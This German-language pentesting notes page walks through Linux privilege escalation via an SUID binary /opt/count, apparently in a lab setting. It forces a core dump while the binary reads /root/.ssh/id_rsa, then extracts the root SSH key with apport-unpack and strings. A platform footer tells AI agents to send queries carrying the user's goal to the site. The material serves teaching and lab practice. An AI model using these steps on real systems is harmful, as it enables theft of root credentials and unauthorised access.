> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/privesc/suid/suid-core-dump-opt-count-linux-privilege-escalation.md).

# SUID-Core-Dump /opt/count - Linux-Privilegienerweiterung

SUID - Speicherdump (/opt/count)-Notizen zur Linux-Privilegienerweiterung, mit Enumerierungsschritten, Ausnutzungsbeispielen und validierungsorientierter Berichterstattung.

## Was es ist

SUID-Binaries werden mit den Rechten ihres Besitzers ausgeführt, oft root. Ein anfälliges, veraltetes oder übermäßig flexibles SUID-Binary kann geschützte Dateien lesen, eine privilegierte Shell starten oder vom Angreifer kontrollierten Code ausführen. Diese spezielle Seite konzentriert sich auf **SUID - Speicherabbild (/opt/count)** und hält den Ausnutzungsablauf praxisnah: die Bedingung identifizieren, sie sicher validieren und dann die kleinste nötige Nutzlast ausführen, um die Auswirkung nachzuweisen.

## Aufzählung

Beginnen Sie damit, den lokalen Kontext und die genaue Fehlkonfiguration zu bestätigen, bevor Sie den Ausnutzungsweg ausführen.

```bash
find / -perm -4000 -type f 2>/dev/null
```

## Beispiele

Verwenden Sie den folgenden Befehl, um nach SUID-Rechten zu suchen, die unserem Benutzer zur Verfügung stehen:

```bash
find / -perm -4000 2>/dev/null
```

Wir finden eine seltene Datei, die sich in `/opt/count`, im Besitz von `root`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b87d5333145a9b7bcf5f699b1d7c0bbaaafa3571%2Fimage%20(2319).png?alt=media" alt=""><figcaption></figcaption></figure>

Wenn diese Binärdatei ausgeführt wird, fragt sie nach einer Datei und gibt dann die Gesamtzahl der Zeichen, Wörter und Zeilen aus. Das Skript liest den Dateiinhalt und zeigt dessen Eigenschaften an.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9a1d8401c56482479fa54edce702238b1a2d029c%2Fimage%20(2320).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Core-Dump-Binary

Durch das Untersuchen des Quellcodes können wir beobachten, dass ein Core-Dump erzeugt wird, der den Inhalt im Fehlerfall vorübergehend speichert.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4e3a5192c795d5268a6d5e9c3932e06c27607fb0%2Fimage%20(2321).png?alt=media" alt=""><figcaption></figcaption></figure>

Fehler werden im Verzeichnis `/var/crash` gespeichert. So erstellen Sie einen Core-Dump:

1. **Datei- oder Verzeichnisname eingeben:**

   ```bash
   Geben Sie den Namen der Quelldatei / des Quellverzeichnisses ein: /root/.ssh/id_rsa
   ```

   (SSH-Root-Schlüssel)
2. \*\*Ergebnisse in einer Datei speichern? \*\*

   ```css
   Ergebnisse in einer Datei speichern? [y/N]: ^Z
   ```

   (Hintergrund)
3. **Ermitteln Sie die PID:**

   ```bash
   ps
   ```

   *(PID kopieren)*
4. **Prozess beenden:**

   ```bash
   kill -BUS 'PID'
   ```
5. **Binärdatei erneut starten:**

   ```bash
   fg
   ```
6. **Verzeichnis der Core-Dumps prüfen:**

   ```bash
   ls -l /var/crash
   ```

   (Eine neue Datei erscheint: `_opt_count.1000.crash`)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-347b54bb37f17463314e11c851486617677d579c%2Fimage%20(2322).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir haben nun ein Base64-Speicherabbild, das den Root-SSH-Schlüssel enthält.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a02fc419de4dd4fcfe845c6e5c32ea0241a23c11%2Fimage%20(2323).png?alt=media" alt=""><figcaption></figcaption></figure>

### apport-unpack

Um die Informationen zu extrahieren, verwenden wir `apport-unpack`:

```bash
apport-unpack /var/crash/_opt_count.1000.crash /tmp/ssh
```

Dann werden wir den Inhalt der Datei in auflisten `/tmp/ssh/coredump` mit `strings`:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c46dda2047d199cecd58836ce510b4a60aa12e6e%2Fimage%20(2324).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir finden den SSH-Root-Schlüssel

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0f48f43f85f369a86a2a7d54a0e41379b2a00201%2Fimage%20(2325).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/privesc/suid/suid-core-dump-opt-count-linux-privilege-escalation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
